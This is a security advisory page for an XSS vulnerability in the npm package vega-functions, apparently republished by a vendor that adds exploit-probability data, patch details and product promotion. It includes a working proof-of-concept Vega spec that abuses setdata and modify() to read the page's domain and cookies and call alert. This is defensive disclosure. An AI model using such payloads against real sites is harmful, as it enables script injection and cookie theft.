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📦 npm

GHSA-m9rg-mr6g-75gm

HIGH

`vega-functions` vulnerable to Cross-site Scripting via `setdata` function

Also known asCVE-2025-66648
Published
Jan 5, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk8th percentile+0.11%
0.00%0.23%0.46%0.68%0.0%0.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦vega-functions

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvega-functionsall versions6.1.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega-functions. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update vega-functions to 6.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m9rg-mr6g-75gm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-m9rg-mr6g-75gm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m9rg-mr6g-75gm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS). ### Patches Fixed in vega-functions `6.1.1` ### Workarounds There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue. ### Exploit Proof of Concept Vega's expression `modify()` [function](https://github.com/vega/vega/blob/d8
O3 Security · Impact-Aware SCA

Is GHSA-m9rg-mr6g-75gm in your dependencies?

O3 detects GHSA-m9rg-mr6g-75gm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-m9rg-mr6g-75gm: vega-functions Cross-Site Scripting (High… | O3 Security